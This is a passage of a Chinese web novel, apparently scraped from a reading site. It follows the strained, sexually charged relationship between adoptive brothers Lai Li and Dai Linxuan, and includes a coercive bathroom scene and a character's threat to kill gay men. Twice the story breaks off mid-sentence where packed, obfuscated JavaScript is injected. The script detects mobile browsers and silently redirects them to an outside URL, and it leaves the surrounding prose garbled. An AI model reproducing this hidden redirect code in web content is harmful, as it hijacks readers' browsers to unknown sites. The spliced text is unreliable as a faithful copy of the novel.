“我听我爸妈说,那位影后跟你哥关系匪浅。”景得宇意味深长地说,“你哥当年突然进军影视行业就是为了对方。” 赖栗没什么特别的反应。 景得宇凑近:“你不生气吗?” 赖栗反问:“我为什么要生气?” 景得宇说:“如果你哥结婚了,他还能像现在这样惯着你吗?你嫂子怕是不会同意。” “首先,戴林暄永远不会不管我。”赖栗异常笃定,他竖起食指在景得宇面前晃了晃,“其次我又不是同性恋,我哥结婚我生什么气?最后你说的影后是严栾吧?她四十三岁了,傻逼。” 景得宇悻悻地坐回去:“行吧……那如果你哥喜欢男人呢?男嫂子你气不气?” 赖栗看了他很久,缓缓露出一个微笑。 景得宇心一抖:“我操|你别笑,瘆得慌!” “如果我哥喜欢男人,改不了——”赖栗勾了下嘴角,“那我就杀了贺书新,再杀了你,还有我哥接触到的所有同,性,恋。” 景得宇搓了搓胳膊:“你有病吧!跟我有什么关系?同性恋又不是传染病,而且我一年能见到你哥一次吗?” 经子骁非常不解:“跟贺书新又有什么关系?他喜欢女的啊。” 赖栗手上力道瞬间加重,幸好云顶的酒杯质量非常好,才得以保全完璧之身:“等他死了你们就知道有什么关系了。” 感觉赖栗是真想刀了贺书新,经子骁咳了两声,搂住景得宇的肩膀岔开话题:“跟明星在一起的感觉怎么样?他私下给人的感觉和网上一样吗?” “那肯定不一样。”景得宇点了根烟,神秘一笑,“在粉丝面前的人设很酷,其实私下很会撒娇、骚得很。” 经子骁听得有些意动:“我还没睡过明星呢。” 景得宇说:“睡呗,花点钱而已。” 这两人的对话实在下流,赖栗懒得听。当然他也不是什么多上流的人,只是下流的方向不一样。 他站起身往外走:“你们喝,我上个厕所。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918404|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云顶的包间隔音很好,走廊上非常安静。这会儿正值夏末,会所里冷气很足,赖栗穿着破洞牛仔裤和白色T恤,脖子上挂着一串骷髅长链,难免觉得有点冷。 他来过很多次,对于卫生间的方向轻车熟路。 男厕有小便池,不过他不喜欢在外面裸|露身体,走进隔间坐在有一次性垫圈的马桶上,身体往后一靠,脚踢在门上,膝盖微微曲起。 今晚喝的酒不多,没到醉的地步,就是头昏昏沉沉的,不怎么舒服。特别一闭眼,就是那天早上的画面,喉咙里的黏涩感一直挥之不去。 比起戴翊说的那些无稽之谈,赖栗更倾向戴林暄就是憋狠了。 但是憋狠到男女不忌的地步…… 赖栗拧了下眉头,掏出手机又看了眼戴林暄发来的体温计照片,一股无名火直冲天灵盖。 戴林暄不会真照做了吧?如果戴林暄真喜欢男人,是喜欢草人还是被草?如果喜欢被草,那自己口不择言的命令岂不是正合他意? 外面响起了一连串的皮鞋声。 “嗒。” “嗒。” 云顶的卫生间非常干净清爽,也很空旷,皮鞋与大理石碰撞的声音非常清脆,每一步都像踩在心脏上,泛起一阵阵心悸的涟漪。 赖栗似有所感地抬起头来,打开门走出去。 斜对面洗手台的镜子倒映着一道颀长的身影,正慢条斯理地擦拭指缝里的水渍。 从背后来看,对方今天穿的白色衬衣并非正装,很柔软,浅灰色西裤裹挟着一双修长笔直的腿,脚上穿着僧侣皮鞋。 一套较为私人的装扮。 是个一看就很贵的人,君子谦谦,疏而有礼。 然而不会再有第三个人知道,这位贵公子前几天的早上对自己亲手养大的弟弟做了什么。 两人的眼神在镜子里交汇,又因戴林暄垂眸擦手而错开,片刻后再次相汇。 赖栗倚着门说:“你好像我哥。” “像?”戴林暄将擦手纸折成方块,扔进垃圾桶,“喝高了?” 赖栗看了他一会儿,没有回答。他迈开腿,就要擦肩而过的时候被戴林暄勾住裤子破洞拉到身前,后腰紧紧抵着冰凉的大理石台。 戴林暄的指尖在赖栗大腿上轻点两下,随后撑在大理石边缘。他微微靠近,在赖栗颈边闻了闻:“抽烟了?” 即便发生过那样的事,赖栗也不害怕戴林暄的靠近:“抽了又怎么样?” “不怎么样。”戴林暄应该是喝了调制酒,身上带着淡淡的花果香,“我们小栗子长大了,可以谈恋爱,自然也可以抽烟。” “别这么叫我。”赖栗被叫得心烦。 “那叫什么?”戴林暄耐心地问。 两人的目光在狭隘的空气中缠绕。 二十二岁对于一个男生来说,身体已经彻底长熟,包括身高,以前还得微微抬眼才能对上戴林暄的眼神,如今只需平视。 赖栗莫名有些不痛快,避开了戴林暄的问题:“你来云顶见谁?” “这话应该我问你。”不考虑此时过近的距离,戴林暄好像真的只是一个操心的好哥哥,“赖栗同学,我没记错你答应我这一年住校,请问现在几点了?” 戴林暄抬手给赖栗看时间,时针已经越过了二十三点。 戴林暄的手腕并不纤细,看起来很有力度,淡紫色的血管与青筋清晰可见,腕骨也格外突出,卡在表盘旁异常性感。 瘦了。 不知道是不是酒精晕染的效果,还是头顶灯光白得太晃眼,赖栗的思绪有些发散,国外的食物这么难吃?幸好当初戴林暄拒绝了他当初想出国留学的要求。 “还差七分钟到明天。”戴林暄放下手,重新撑住大理石台面,“准备第一个月就被记过?” 赖栗收回目光:“我出来的时候查过寝了。” 戴林暄耐心地问:“所以你怎么出来的?” 赖栗不耐道:“宿舍在二楼,翻个窗就下来了。” 他推开戴林暄,却被抓住手腕,耳边是对方带笑的气音:“赖栗,你真是一点都不乖。” 赖栗甩开戴林暄的动作倏地一顿,漫不经心道:“你养的嘛,哥哥。” 大概是故意的,哥哥两个字音咬得格外重。 4. 墓园 这声“哥哥”让戴林暄抓着赖栗胳膊的手松了松。 赖栗只在刚到戴家的那几年这么喊过,长大后要么简简单单一声哥,要么直呼其名,张扬又没礼貌。 戴林暄目光微散,片刻后悠悠道:“我把体温计带过来了。” 赖栗脸上出现了一丝扭曲:“……怎么带的?” 真插进去了!? 赖栗就着逼仄的空间转过身,去摸戴林暄的裤腰:“你他妈——” 戴林暄举起双手往后退了一步:“说过多少次,不要讲脏话。” 赖栗充满攻击性地向前:“你不要搞得跟变……” “跟什么一样?变态?”戴林暄显然很了解赖栗,有点好笑地问,“如果我就是怎么办?” 赖栗没心思听戴林暄说什么,摸索半天终于从戴林暄的裤兜里掏出了一个盒子,体温计还好好地躺在里面。 提起的心跳还没来得及放下,就被长驱直入的体温计串了起来,高高吊着。戴林暄的拇指撑开他嘴唇,有些恶劣地将体温计捅到嗓子眼。 赖栗不受控制地闷哼一声,听到戴林暄在耳边温柔说:“别咬碎了,会死。” 赖栗:“你——” 不远处,两道沉闷的脚步声越来越近。 赖栗猛得抓紧戴林暄的手臂,试图抵开嘴里的体温计,说出的话也含糊不清:“你疯了!被看见怎么办!?” 戴林暄揽着他的腰甩进最近的隔间,自己紧随其后带上门,“咔哒”一声反锁了。 “嘘。”戴林暄若即若离地碰着赖栗耳朵,“不想被发现就小声点。” 走近的两道脚步声在卫生间门口分开,应该是一男一女。男人显然没赖栗那么讲究,就在外面的小便池解决起来,哗啦啦的水声断断续续的,听起来肾不好。 赖栗不可避免地又想起那天早上……戴林暄肾倒是不差,完全不似八卦媒体揣测的因为有x功能障碍,所以才洁身自好。 戴林暄把赖栗禁锢在自己与门板之间,一手捏着体温计,一手托着赖栗后脑勺禁止他后仰。他的目光在赖栗已经愈合的嘴角流转,似乎想吻下来。 呼吸太近了,喷洒得皮肤有点发痒。 戴林暄越凑越近,在即将碰上的前一刻,赖栗偏了下头,这个吻落在了他脸侧。 很轻的一下,像羽毛挠过。 戴林暄脸上笑意淡了些,眼底窜出了丝丝难以看透的危险意味: “这么怕被发现?” 按照赖栗平时的性格,就算被发现也会一脚把门踹开脱离戴林暄的控制,他什么时候在乎过名声。 可此刻不知道为什么,哪怕舌根被体温计顶得酸胀难耐,他也只是抓紧戴林暄的胳膊一动不动。 门外的人方便完,突然叫了声:“林暄?” 仿佛一记闷锤敲在赖栗的心脏上,他下意识伸手抓住锁扣,因为紧张,小臂的肌肉线条绷得很紧,青筋毕露。戴林暄的目光顺着他的小臂一路游走到空荡荡的指节上,停顿片刻收回目光。 外面的男人又唤了声“林暄”,没听到回应就离开了,对女厕出来的人说:“奇怪,林暄明明说来卫生间,人却不见了。” 女人笑笑:“可能出去接电话了。” 他们的脚步渐行渐远,又等待了一会儿确定外面没人以后,赖栗才松开锁扣,从背后抓住戴林暄的头发猛得往后一扯,吐出体温计的同时把戴林暄推坐在了马桶上。 体温计黏腻不堪,拉出了几条细长的银丝。 戴林暄被按着肩膀,也不挣扎,他抬手,似乎想要蒙住赖栗的眼睛:“以后再出言不逊——” “啪!” 戴林暄偏过头,左脸泛红。 两人对视良久。 戴林暄的眼里看不到丝毫怒气,只是收起笑意,好像在等待赖栗的下一步反应。 赖栗盯了片刻,鬼使神差用打完人的掌心贴上去,戴林暄被打的侧脸有点热,烧得他掌心也跟着发烫。 他摩挲了很久,像捧住了戴林暄的半张脸。 这样的赖栗看起来有些不对劲,戴林暄用舌尖划过,顶了下腮,赖栗仿佛被隔空舔吻了一般倏地收手,顿了顿低声说:“对不起。” 戴林暄刚要出口的话就这么忘了,眼里划过一丝惊奇……赖栗竟然知道对不起三个字怎么读。 “不过,哥——”赖栗突然俯身拥住戴林暄,呢喃道,“你再做出承诺做不到,我真的会很生气。” “……什么?” 赖栗松开戴林暄,仿佛突然惊醒似的:“我去前台拿冰袋,你等会儿。” “不至于。”戴林暄先一步打开隔间门锁,走到洗手台前看了眼自己的脸,即便挨了一巴掌也依然从容,“有点红而已。” 赖栗皱眉跟上:“你这样怎么见人?” 戴林暄并不在意,回头又问一遍:“我做出了什么承诺没有做到?” 对视了会儿,赖栗没吭声,手插进裤兜头也不回地走了。 戴林暄在原地站了会儿,没想起是什么事。他看着镜子里的自己,轻碰了碰脸侧。 回到包厢坐下,戴林暄朝众人扬了扬酒杯一饮而尽:“出去接了个电话,聊到哪了?” 包厢里人不多,不过有好两个明星,还有一个导演与制作人。今天聚集在这也不算应酬,大家有点私交,借着投资商组局的名义一块儿聚聚,氛围相对松弛。 刚刚去卫生间的男人也在,名为唐阅,是剧组的另一个投资商:“在聊你大半年前拿到的西郊那块地。” 戴林暄往后靠了靠:“看你们表情好像有什么异议?” “异议谈不上。”唐阅侧过身体,手臂搭在戴林暄身后的沙发靠背上,“不过很多人都奇怪呢,那块地位置很不错,市里未来几年也准备往那边开发新区,你怎么想到建墓园?” “政府也倾向搞殡葬,那地方不搞这个只能修度假区了,前五年肯定没什么玩头。”戴林暄掀了下唇,“可别瞧不起墓园,信不信开售即回本?” “那倒是信,都说那地风水好,现在老不死的又多,你们戴家就……”女人靠着沙发,表情藏在阴影里,“不过和其它项目比起来墓园应该赚不了几个钱。” 说完她放下酒杯,精致靓丽的脸庞也因此暴露在了光下。这张脸可以说家喻户晓,正是国内唯一的大满贯演员——严栾。 明明已经不年轻了,岁月却仿佛对她格外留情。 戴林暄笑了下:“胜在投入低,回流快,后期稳定,有好风水的加持也不会愁‘客户’,算回报率很高的项目。” 当然,风水这个事不能拿到明面上宣传,毕竟主流价值观不允许,可实际上越上层的人越会抱着“宁可信其有不可信其无”的态度,有好地自然不会选差地。所以只需要只要适当地散布一些风水方面的消息,有钱有权的人自然会找人去看,加上这个项目是戴氏集团的,本身就是一种正面宣传。 唐阅旁边的男人闻言,眉眼微微垂下,笑了笑:“听起来戴总私留了一个双人墓的传闻是真的。” “是。”戴林暄承认了,“颜导感兴趣的话可以给你走个内部折扣。” 颜安也不觉得冒犯,笑着说好啊:“不过还得寄希望于咱们这次票房大卖啊,否则我孤家寡人的可买不起这么好的墓地。” “颜导出品,不会差的。”戴林暄跟他碰了碰酒杯。 颜安笑看着他,慢慢喝完了杯中酒。 唐阅啧了声:“搞不懂你,戴家家族墓地容不下你这尊大佛了?” 戴林暄调侃道:“哪来的家族墓地,都什么年代了。” 唐阅摇头:“你就忽悠我们吧。” 虽然现在明面上不能有家族墓地,但当年埋戴家先祖的那片山就是戴家自己的,后来主动配合土葬改革火葬的政策,用这片地建了诞市的第一片豪华墓园,再钻空子隔了一片区域安葬自家人。上面心里门清,睁一只眼闭一只眼而已。 戴林暄莞尔:“那有没有可能我家之前那片地满了,不得不搞个家族墓地二期呢?” 唐阅一口酒刚到喉咙,闻言差点被呛死:“咳!咳咳咳!” 戴林暄笑了声,摩挲着酒杯半真半假说:“我出去的这两年遇到了不少事,一次化险为夷的空难,一次恐|怖|袭|击,一次针对我的谋杀,亲眼看到很多前一秒还好好活着的人突然死掉,对我的冲击不算小……所以有一天我突然想,如果人能葬进自己亲手挑好的墓里也算幸事一件。” “没想到戴总还挺悲观。”颜安有些惊讶。 戴林暄笑而不语,没有就这个话题展开。 “那我也买一块。”严栾笑眯眯道,“不用特别好的位置,偏僻安静点的角落就行。” “你们说的我鸡皮疙瘩都起来了。”唐阅抖抖肩膀,“林暄你三十整,颜导今年刚好四十?栾姐四十出头,搁这选什么墓地呢!?” “这你就不懂了吧。”严栾揶揄道,“以前的人都会早早地给自己攒棺材本,现在不好土葬,提前买墓地也算是延续传统文化了。” “你们这提前的是不是有点多啊?”唐阅默默站起来,把空调温度打高。 渗人,总觉得跟这几个人一起待久了会短命。 严栾说:“未雨绸缪嘛。” “绸缪得远了点。”唐阅坐下,转移话题,“都说你这次回来要进集团董事会,真的假的?给我们透露一下?” 戴林暄笑着摇头:“只是候选而已,具体还要看下个月董事会召开后的票选结果。” “就你一个候选人吧,走个形式。”唐阅调侃道,“在海外蹉跎两年终于舍得回来继承家业了。” 戴林暄晃了晃酒杯,不置可否:“总要回来的,根在这里。” 唐阅倒是想起一件事:“说起来,江风的浑水你是替自己淌的,还是替戴家淌的?” 江风是本地一家老牌建筑公司,最近资金链出了严重问题,要么选择融资,要么就等着被收购。 戴林暄喝了口酒:“你猜。” “我不猜。”唐阅继续说,“就是提醒你一声,江风老总的儿子汤远扬和你弟读的同一所大学,今年不知道大三还是大四,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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翻窗挺顺溜的,现在搁隔壁走廊的包厢坐着呢。 “离我远点。”赖栗关上包厢门,厌烦地踹了景得宇一脚,“你爸妈为什么这么快就把你放出来了?” “你,你!”景得宇震惊到哆嗦,看看赖栗再看看经子骁,“你瞧瞧他说的是人话吗!” 赖栗坐在了离景得宇最远的位置,表情有些恼火,还有些严肃。 “又怎么了赖公子?”经子骁叹气。 “在想退学的事。”赖栗说。 “啊?”经子骁连忙坐下,“怎么了?虽然你年纪不小了,但读个大学还是挺有意思的,你哥又不要你赚钱……” 赖栗表情凝重:“想退学去国外参加反同活动。” 景得宇:“……” 经子骁:“……” 赖栗缓缓移动目光:“国内有类似的活动讲座吗?” 景得宇气极反笑:“没有!你死心吧你!” 赖栗现在一闭眼就是刚刚卫生间发生的事,外人眼里光风霁月的戴家大少爷捏着体温计亵|玩他的口腔。 戴林暄的笑意、他的呼吸节奏就跟在生意场一样从容体面,没有丝毫不同。好像赖栗也只是戴林暄谈判时把玩在掌心的筹码,完全掌控,游刃有余,胜券在握……甚至连答应没做到的事都忘得一干二净。 这样的戴林暄让赖栗陌生。 尽管这两年很少见面,但他们经常打视频通电话,戴林暄没有表现出丝毫异常,过去十二年的相处中,戴林暄也没透露过自己有同性癖好,或对自己养大的弟弟有这样的心思。 是戴林暄以前太能装,还是这两年在国外受到了什么刺激? 停—— 赖栗掐了发散的思绪,掏出手机给戴林暄发消息。 【滚一边吠去】:你今天喝了多少酒? 【我家的】:很少。 【我家的】:没醉。 戴林暄的回答击碎了赖栗的最后一丝幻想,连着两次了,总不能都是脑子烧糊涂才干的破事吧? 【滚一边吠去】:你喜欢男人? 【我家的】:你觉得呢。 赖栗扬起手机砸向包厢门,发出砰得一声重响,他森然道:“景得宇,把你这段时间喝的中药配方发我!” “?”景得宇吓了一跳,捡起地上的手机碎片,“你给谁喝?” “我——妹。”哥字都要脱口而出了,赖栗硬生生地扭曲了声调。 “你妹?戴翊?前几天还说她不是你妹呢。”经子骁拆台道。 “她现在是了。”赖栗冷漠道,“药方发来。” 景得宇有点抓狂:“戴翊不是谈过男朋友吗?而且我都说了那是我妈病急乱投医瞎搞的东西,没用!没用懂吗!?你现在让我看个gay片我还能梆硬OK?你要是让戴……让随便一个大美男脱光了站我面前我能立刻拉着他去卫生间表演一段现场版OK!?” “不K。”赖栗很坚持,“事在人为。” 景得宇对着赖栗一指,心平气和地冲经子骁说:“看,这就是挂着学籍在家压缩九年义务制教育的后果,脑子都被知识塞瓦特了,竟然信偏方。” 5. 秘密 “啊——欠!”戴翊打了个重重的喷嚏,“一定有人在背后说我坏话。” 戴林暄刚回家,正在门口换鞋,听到声音也没回头:“这么晚还不睡?” “看会儿电视。”戴翊坐在沙发上,往嘴里塞了颗葡萄,“我以为你去接赖栗了。” 戴林暄走向楼梯:“他明天军训。” “他会乖乖军训?”戴翊诧异了下,戴林暄笑了声,没说话。等他上了几节台阶后,戴翊又冷不丁地开口:“我看到你房间的行李箱了。” 戴林暄顿在楼梯中间,偏头俯视沙发上的背影。 戴翊看着电视问:“赖栗住校了,大哥也要搬出去吗?” 戴林暄解释道:“家离公司太远了,不方便。” 戴翊语气中透着丝丝怀念:“赖栗刚到咱家的时候,你一边上学一边在公司轮岗,还要应付他的黏人……就算这样你也天天住家里,从没说过不方便。” 戴林暄手撑扶梯:“所以那时候我一天只能睡三四个小时,连午觉都没有,比你和赖栗的高中生活可痛苦多了。” 戴翊问:“那现在是不想这么痛苦了吗?” 戴林暄上了一层台阶,走向二楼:“能轻松点当然好。” “大哥,我们不能像以前一样吗?”戴翊突然语速加快,“妈妈,你,我,还有赖栗,就像从前——” 戴林暄缓缓扯了下衣领,声音一如既往的温和:“现在和从前有什么不一样吗?” “你明明知道的,你们每个人都变得……很奇怪。”戴翊呢喃道,“算了。” 戴林暄没听清,握住卧室门把手就要进去。 “大哥,恭喜你啊。”戴翊的声音再次响起,因客厅的过高挑空而显得空旷,荡出若有若无的回音,“马上就要出任集团董事了。” 戴林暄不置可否:“也恭喜你。” 戴翊和赖栗同岁,只是小几个月。她成绩不比戴林暄差多少,十八九岁就一边忙学业一边在集团基金会实习,那时候她总说以后想留在基金会当理事长,很喜欢慈善事业。但一年多前,她突然转变路线——开始在总部各大部门轮岗高管。 戴林暄则是毕业前在基层轮岗过,毕业后选择了创业,如今才开始回归。 两人思想转变的个中曲折,难以言说。 不过戴林暄的恭喜来得突兀,轮岗又代表不了什么。戴翊也没问,只是提了个风马牛不相及的问题:“大哥,你小时候的梦想是什么?” “做医生。”高考那年填志愿,戴林暄差一点就填了医学专业。 “像大哥的性格。”戴翊转过身,跪在沙发上仰头看,这个视角只能看到二楼有个人站在那,瞧不清表情,“你知道我的梦想是什么吗?小时候,老师布置过很多次这样的命题作文,我每次都写梦想就是维持现状,毕竟别人想要的一切我都触手可得了,没什么可求的。 “是不是很天真啊? “最近两年我才发现确实天真,原来维持现状并不是一件容易的事,它也需要去争去抢,需要权力和财富大包大揽,否则根本抓不住流失的东西。” 二楼很久没发出声音,如果不是还能看到人影,戴翊几乎以为戴林暄已经进卧室了。半晌,楼上才传来一句:“祝你得偿所愿。” 戴翊愉快地笑笑:“谢谢大哥。” 轻轻的一声“砰”,意味戴林暄已经回房了。 戴翊关掉电视,在奢华寂静的客厅坐了会儿,也起身回了房间。 她洗了个澡,擦干身上的水将浴巾扔地毯上,一边踩脚一边看手机的最新消息。 【滚一边吠去】:在? 【十三月的星期八】:干什么? 【滚一边吠去】:借笔钱。 赖栗问她借钱——真是稀了个大奇。 她转头就截图发给了戴林暄。 【十三月的星期八】:你这是受够赖栗不想养他了? 【暄】:他借多少? 屏幕上方跳出了一条新消息,戴翊挑了下眉——赖栗问他借五万。 【十三月的星期八】:五万块钱你需要跟我借?你干什么了,赌博把钱输光了?被狐朋狗友合资诈骗了?滑雪场亏空破产了?吸毒了? 【滚一边吠去】:借不借?借的话转这个银行卡。 赖栗发来了卡号还有一个陌生名字——宋自楚。 这谁? 圈子里没这号人。 按理来说,赖栗不会五万块钱都拿不出。戴林暄对赖栗好可不止给他惹的祸擦屁|股那么简单,赖栗在经济上其实要比诞市大多富家子弟都要富足,就算将来有一天真的和戴林暄决裂,他下半辈子也能包三四个小情儿过上衣食无忧、荣华富贵的日子。 戴翊思考良久,得出一个结论—— 赖栗谈恋爱了。 赖栗可不是什么好人,助人为乐这四个字在他那里就是笑话。 这个神秘女友应该经济比较困难,赖栗不想暴露自己的财富让对方产生不对等的自卑感,所以假意问朋友借钱帮助对方。 非常合理。 于是戴翊把钱转过去后又截图发给戴林暄,有点幸灾乐祸。 【十三月的星期八】:还是大学改造人啊,赖栗竟然能为了别人拉下脸跟我借钱。 戴翊和赖栗这两年的关系势同水火,生日宴之前,他们起码三个月没说过话。 戴林暄没回复,赖栗倒是发来一句“谢了,过两年还你”。 戴翊往床上一倒,笑得更开心了。 赖栗竟然跟她说谢谢,真好玩。 - “天天迟到好玩吗!?”教官呵斥道,“第几次了?去那边做一百个俯卧撑!” 队伍里传来不少倒吸凉气的声音。 就算他们处于火气最旺的年纪,一百个俯卧撑也能要命,何况这会儿太阳正对着他们晒呢。 被罚的对象闻言没什么反应,慢悠悠地走过树荫,来到了烈阳下方。同样是松垮的军训套装,穿在赖栗身上却只让人感觉不羁与狂妄。 “可以。”赖栗甩了下外套搭在肩上,扫了旁边的副教官一眼,“做完一百个让你的副教今天滚远点,别在我面前晃。” 这次军训每个班配两个教官,主教官是学校请来的专业人士,副教官由高年级学长担任。 好巧不巧,这位学长赖栗认识,贺书新的狗腿子之一:汤远扬。 军训不过五天,汤远扬几乎每天都在没事找事挑他的刺。 主教官脸色很黑:“你要有本事一口气做一百个,下午全体乘凉一小时,副教放假,保准你见不着!” “那不是让他爽了?”赖栗今天戴了一枚戒指,摘下后送到嘴边,朝不远处的躺椅扬扬下巴,“我一口气做完,他替我训,我去那儿放假。” “行啊,做不完你单独绕操场跑五圈。”主教官冷声道。 汤远扬神色一紧,他要真替赖栗训了这脸得丢死,今晚就能上学校论坛。不过连续一百个俯卧撑……他稍稍放下心,等着赖栗丢人现眼。 旁边队伍陆续传来起哄声—— “卧槽赖栗!加油!全班的幸福都压在你身上了!” “做完老子认你做爸爸!” “给你带一个星期早饭!” 赖栗叼住戒指,俯身撑住热烫的地面。 九月的温度两极分化,早晚凉飕飕,下午热得要死。唯一糟糕的是刚吃完中饭,有点积食。 宋自楚同样站在队伍里,比起别人多了丝担心。他上周六凌晨借了赖栗五万块钱,自然更在意赖栗的情况。 赖栗这些天都是查完寝就溜,几乎不住宿舍。他和那位副教官好像认识,起了数次冲突,昨天还差点打起来。 “一!” “二!” “三!” 周围的同学齐声数着,教官也没阻止。年少轻狂总是会让人心潮澎湃,赖栗长得好,身材也不差,特别是俯卧撑过半的时候,掖进裤腰的衣摆被肌肉带到了上方,露出了一小截劲瘦的腰身。 注意到的同学不由吹起口哨。 只有宋自楚的位置比较刁钻,隐约看见赖栗的后腰上方有两道交叉的疤痕,因肌肉的紧绷而狰狞,显得有些可怖。 俯卧撑过三分之一的时候,赖栗的额头就冒出了细密的汗珠,慢慢 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开学季总是学校最吵闹的时候,训练的口号与篮球砸在地上的颤动混在一起,加速了心脏的跳动。 他睡得并不沉,却还是做了梦。 十二年前,诞市西岸区最大的贫民窟还没被夷为平地、建起高楼,那里破败混乱,随便走在路上都能踢到装着屎的泡面袋或盛着尿的易拉罐,小巷里最常见的工作是站街的廉价鸡鸭,空气里飘着居民习以为常的尿骚味,拥挤的小楼里随便打开一间都可能找到潜逃的罪犯。 政府有意解决这片毒瘤,公开招标,但效果并不理想,大部分公司淌不起这个浑水,最后不知道怎么的就跟戴家达成了合作。 那年戴恩豪车祸成为植物人,蒋秋君替位上任,急需一个漂亮的项目在集团站稳脚跟,可谁都没想到她会选择西岸区的这片贫民窟。 这也是所有人都认为是戴家夫妇心善,才收养了赖栗的原因。 实际上却不是这样。 当年进入贫民窟的不只有蒋秋君,还有十八岁的戴林暄。 天之骄子来到这片污秽不堪的地方,砸烂了贫民窟万千破屋中的一把门锁,携阳光一起踏入满是腐臭的破屋,捧起一具将死的丑陋躯壳带回了云巅之上。 从此,赖栗的人生迎来不可复制的逆转。从阴暗沟渠里的蟑螂到金枝玉叶,旁人想复制也是难如登天。 赖栗和戴林暄的相遇本是一个秘密。 最开始的几年里,戴林暄要他守口如瓶,后来才慢慢演变成从容平淡的一句:“暴露了也没事,怕什么,哥养你一辈子。” 赖栗认识的戴林暄矜贵温柔,有如幻梦,是个绝对完美的人,就像博物馆里最完美的藏品,哪怕生气都带着克制与礼节,永远从容妥帖,上得了云巅,下得了淤泥,从不违逆良心。 唯一能让人诟病的存在就是有赖栗这么一个弟弟。 可那又怎么样呢? 赖栗是赖栗,戴林暄是戴林暄,无论赖栗身上有多少瑕疵,于戴林暄都是独立的存在,隔着展品玻璃,他污染不了这件藏品。 “哗——” 赖栗猛得睁开眼,对上宋自楚的视线,对方正拿着他的外套。 “对不起,吓着你了。”宋自楚立刻道歉,“你衣服上掉了只虫子。” 天色已经很晚了,周围只剩七零八落的几个人,远处的球场铁网忽隐忽现,一阵冷风吹过,带来一股难闻的气息,卷起了大片大片的鸡皮疙瘩。昏暗将喧嚣稀释得分外朦胧,好像太阳从未来过。 宋自楚下意识往后退了一步,赖栗这会儿的眼神让人有种说不出的惊悚感。 他顿了顿说:“谢谢你那天帮我,我请你去食堂吃个饭吧?” 赖栗手中力道加重,却无意间按亮手机。 宋自楚下意识看过去,赖栗的手机壁纸是一个躺在沙发上的男人,慵懒温和地看着镜头,带着平和纵容的笑意。 赖栗按灭屏幕,再抬眼时已经恢复寻常。他一把扯回自己的外套,走进降临的夜幕:“别碰我的东西。” 6. 护短 宋自楚不远不近地跟在身后。 赖栗这会儿有点没由来的烦躁,眉头拧得很紧。自从上次云顶分开,他和戴林暄好几天没见了。 戴林暄刚回国,自己的公司一堆事,加上即将入驻戴氏集团董事会,有很多事情要做,忙得脚不沾地,导致赖栗根本找不到机会和他聊聊。 他拨了个电话过去,开门见山地问:“你在哪?” 戴林暄说:“和人吃饭。” 赖栗听着那头的动静,眯了下眼说:“我怎么听到了男的声音?” 戴林暄淡道:“饭局有男的不是很正常?” 赖栗冷笑了声:“我又不是三岁小孩,别他妈应付我!那是正常男人的声音吗,一声声戴总叫得嗲上天了,跟公公有什么区别!?” 耳边传来一声淡淡的叹息,不一会儿就散了,仿佛只是错觉。 戴林暄说:“赖栗,没有哪个哥哥需要和自己的弟弟详细报备这种事。” 赖栗倏地停下脚步,后面的宋自楚也跟着停下,借着学校路灯看见赖栗的脸色一下子阴沉起来。 “哥哥?那天把几——”赖栗深吸口气,冷冰冰地问,“你把我当弟弟了吗?” “你又把我当什么?”耳边传来戴林暄的反问。 赖栗下意识要给出答案,这不是很明显吗?他们十二年来一直都是以兄弟身份相处,总不至于突然就变了。 可不知道为什么,他总觉得戴林暄平和的语气下藏着什么隐忍待发的东西,以至于胸口涌起一股浓浓的心悸,差点将他溺毙。 戴林暄其实处于一个很正式的中餐厅包厢,左边坐着江风建筑的汤总,右边是一个陌生男孩,长得和赖栗有一两分相似,不过气质完全不同。 见戴林暄打电话,他也不作声,只是默默站起来帮戴林暄把酒斟满。 “不许碰他。”手机里传来赖栗不讲道理的要求,“晚上来接我回家。” 戴林暄扫了旁边的男孩一眼,并没有很凌厉,不过男孩还是吓得一抖,往后退了一步。 戴林暄拒绝了赖栗的要求:“你军训还没结束。” 赖栗嗤笑了声:“我需要军训?” 戴林暄闭了下眼,顿了会儿才以不容置疑的语气说:“作为大一新生,除了节假日你都应该住校——” “嘟嘟。” 赖栗直接把电话挂了。 十二年里,戴林暄其实很少拒绝赖栗的要求,何况这种小事。不仅赖栗接受不了,戴林暄也需要适应。 旁边的汤薛达笑而不语,也不提这个电话,只招呼那个男孩:“小舟还不快敬戴总一杯?” 小舟不胜酒力,这会儿脸已经发红了:“戴总,我一直很崇拜您,这里敬您一杯,祝您健健康康、万事如意!” 在饭局上,这套敬酒词难免显愚笨,好处就是会让上位者觉得自己好拿捏,满足对方的掌控欲或优越感。 戴林暄也没为难他,将小酒盅里的白酒一饮而尽:“站着不累吗?坐着吧。” 小舟有些迟疑,汤薛达笑道:“你年纪小,戴总心疼你呢。” 小舟这才坐回去:“谢谢戴总。” 戴林暄笑了下:“汤总哪里找来的人?” 汤薛达站起来给自己和戴林暄都斟满酒:“小舟是我新招的助理,那天一见就觉得眼熟,嘿!我左思右想,好半天才一拍大腿想起来,这孩子跟小栗长得有点像啊!这不,带过来给你掌掌眼。” 戴林暄好像没听懂:“汤总的人,我掌什么眼?” 汤薛达托起小酒盅往前送了送:“戴总要是觉得小舟业务能力还不错,可以带到自己身边培养培养,小年轻,青涩得很,特别需要一个优秀的领路人。” 戴林暄勾了下嘴角:“汤总舍得?” 汤薛达说:“戴总喜欢的话,那我必须得割爱啊!” 戴林暄坐着,汤薛达站着,敬酒就必须弯腰,可一直到手指头都酸麻了,戴林暄也没接这杯酒。 汤薛达心口一跳,瞥了小舟一眼。后者瞬间领会,起身另斟一杯,对戴林暄说:“戴总,我——” 